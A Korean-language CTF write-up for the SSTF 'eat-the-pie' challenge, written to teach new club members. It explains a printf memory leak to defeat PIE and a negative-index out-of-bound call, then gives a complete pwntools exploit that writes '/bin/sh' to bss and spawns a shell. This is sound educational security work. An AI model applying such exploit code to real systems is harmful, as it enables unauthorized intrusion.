머릿말

뉴비부터 고수까지 모두 즐길 수 있는 CTF라는 소개글을 보고 대학 동아리 신입생들을 데리고 SSTF에 출전했습니다. 아쉽게도 좋은 성적을 내진 못했네요. 사실 이 write-up은 같이 출전한 신입생 친구들에게 보여주려고 작성했는데 몇 명이나 읽었을지…

CTF를 처음 경험하는 친구들이라 최대한 풀어서 설명을 적었으며, CTF에 대한 저의 견해도 조금씩 섞여 있습니다. eat-the-pie를 풀 당시 저의 사고 흐름을 중심으로 작성했고 이 글을 읽으실 때도 이점을 기억해주세요.

[ 취약점 ]

Memory Leak With Printf
Out-Of-Bound

훑어보기

pwnme()라는 이름의 함수가 있다. ~~“동네 사람들!!! 취약점 여기 있어요!!!”~~

CTF에서 이렇게 취약점의 위치를 알려주는 문제들은 주로 취약점은 간단하지만 exploit으로 연결시키는 것이 어려운 컨셉의 문제들입니다. eat-the-pie도 이런 컨셉의 문제인 거 같죠?

~~[ ! ] 심지어 문제 이름도 PIE 우회를 암시하고 있다.~~

대충 eat-the-pie 문제를 설명하자면,

stack에 vtable을 만들고 read()로 입력을 받음.
read()로 받은 입력 값을 이용해 vtable로부터 함수를 참조 실행.

이 두 가지 정도만 알면 되는 간단한 프로그램입니다.

CTF 문제들은 의도적으로 취약점을 만들어 놨기 때문에 짱구를 조금만 굴려 보면

코드에서 많은 힌트를 얻을 수 있습니다.

[ ! ] Real world와 대조되는 큰 차이점이다.

위 사진에서 하이라이트 된 부분을 보고 최대한 많은 정보를 알아내 봅시다.

취약점 예상 ( 정적 분석 )

입력을 굳이 int가 아닌 string형으로 16 byte나 받는다.

int( 4 byte )가 아닌 string으로 16 byte나 입력받는 것은 12 byte만큼 메모리를 낭비하는 것이고 입력받은 string을 int로 바꾸는 과정을 한번 더 걸치니 결코 합리적인 코드가 아닙니다. 즉, 취약점으로 빌드 업 되도록 의도된 코드인 거 같죠? atoi() 혹은 printf() 등 NULL terminated string 함수를 사용한다는 것도 중요한 정보인 것 같습니다.

if문의 조건이 모든 경우의 수를 커버하지 못함.

index를 이용해 참조하는 코드가 있다면 가장 먼저 확인해야 할 것이 있습니다. 바로, out-of-bound 가능 여부. 코드를 살펴보면 음수에 대한 예외 처리를 하지 않은 것을 알 수 있습니다. 심지어 indirect call에 사용되는 index의 out-of-bound네요.

그럼 대충 예상해 보면 취약점은 아래와 같습니다.

NULL terminated string의 예외 처리 부재로 PIE 우회
out-of-bound로 eip 제어

예상이 맞는지 한번 확인해 봅시다.

Memory Leak with printf

PIE를 우회하는 법은 간단합니다. binary의 base address를 leak 하면 되니까요.

예를 들어 func1의 주소인 0x5655574d를 leak 했다면 0x5655574d에서 func1의 offset인 0x74d를 빼서 binary base address를 구할 수 있습니다.

16 byte 길이의 string을 입력하면 vtable 바로 위에 저장되는 것을 확인할 수 있습니다. 이 상태로 printf() 실행을 트리거하면 func1 ~ func4의 주소도 같이 출력됩니다. printf()는 NULL terminated string을 다루는 함수이기 때문에 NULL을 만나기 전까진 멈추지 않고 계속 출력한 결과입니다.

Out-Of-Bound

Indirect call에 사용될 인덱스에 따라 스택 상황을 출력한 사진에 번호를 새겨봤습니다. 좀 전에 indirect call에서 음수에 대한 예외 처리를 하지 않아 out-of-bound가 가능하다고 설명했습니다. 만약 현 상황에서 -3을 입력한다면 eip에 0x42424242 가 들어가겠죠?

예상대로 취약점은 정말 간단합니다. 이제 exploit을 해봅시다.

Exploit Plan

주어진 정보와 제약 상황 등을 고려하며 추가로 필요한 정보가 있는지 체크해봅시다.

system()을 바이너리에서 사용함.
- Arbitrary Write(AW)가 가능하다면 bss에 “/bin/sh”을 넣어주기만 하면 됨
Libc 주소를 leak 하기 번거로움
PIE가 있는 상황에서 stack 주소를 leak 하기 번거로움

[ ! ] 결론

Arbitrary Write 할 방법을 찾자.

“/bin/sh”을 bss에 저장하고 system( bss )를 하면 쉘 획득 가능.

Arbitrary Write

Arbitrary Write(Write anything anywhere)를 하려면 당연히 쓰기 함수가 있어야 하겠죠?. 사용 가능한 쓰기 함수는 read()가 유일합니다.

out-of-bound로 read()를 AW에 사용하려는 지금 상황에서 넘어야 할 장애물이 2가지가 있습니다.

call로 eip를 잡는다는 점
read()는 인자를 3개나 받는다는 점

일단 첫 번째, call로 함수를 호출하기 전에 충족돼야 하는 조건이 있는데,

호출당하는 함수가 쓸 인자들이 stack에 push 돼 있어야 함.
ESP가 그 인자들 중 가장 낮은 주소에 위치해야 함.

적절한 gadget을 사용한다면 이 두 가지 조건을 충족하는 것은 대부분 크게 어려운 일이 아닙니다. 하지만 pyload를 담을 메모리가 16byte 밖에 없기 때문에 이마저도 어려운 일이 돼 버렸네요.

[ ! ] indexVar + gadget + parameter1 + parameter2 + parameter3 + &read() = 24 byte

한참 고민하다가 한 가지 생각이 머리를 스치고 갔습니다.

“32 bit의 인자 push는 역순으로 이뤄진다!” ~~이때 이마를 탁 치고 유레카를 외쳤습니다.~~

결론부터 적자면 위 사진에서 하이라이트 된 부분을 gadget으로 사용하면 됩니다.

위 사진은 pwnme()에서 read(0, &v0, 0x10)에 해당하는 어셈 코드입니다. 3번째 인자부터 역순으로 stack에 push 하는 게 보이시나요? 만약 3번째 인자를 push 하는 코드를 건너뛰고 <pwnme+198>부터 실행된다면 read()가 호출될 때 stack에 있던 쓰레기 값( ~~사실 ret addr~~ )을 read()의 3번째 인자로 인식하게 됩니다.

테스트해보면 예상과 같이 read(0, &v0, 0x566109bc)가 실행됩니다. 이 가젯을 사용한다면 16 byte 입력 제한으로 불가능했던 AW가 가능해집니다.

Exploit

from pwn import*

#p = remote('eat-the-pie.sstf.site', '1337')
p = process('./target')
e = ELF('./target')

read_plt = e.plt['read']
system = e.plt['system']
bss = e.bss()

# leak binary base
payload = 'A'*12 + 'BBBB'
p.sendlineafter('Select > ', payload)

p.sendlineafter('Select > ', '4')
p.recvuntil('BBBB')
leak = u32(p.recv(4)) - 0x74d
log.info(hex(leak))

# overflow vtable with gadget
payload = '-3'+ '\x00\x00' + p32(leak+0x970) # read() in pwnme() without len
p.sendlineafter('Select > ', payload)

# arbitrary write to bss
payload = p32(0) + p32(leak+bss) + p32(8) + 'AAAA' + p32(leak+read_plt)
p.sendline(payload)
p.sendline('/bin/sh\x00')

# overflow vtable with gadget
payload = '-3'+ '\x00\x00' + p32(leak+0x970)
p.sendlineafter('Select > ', payload)

# system("/bin/sh");
payload = 'AAAABBBBCCCC'+ p32(leak+system) + p32(leak+0xa99) + p32(leak+bss)
p.sendline(payload) # 0xa99 == pop pop pop ret

p.interactive()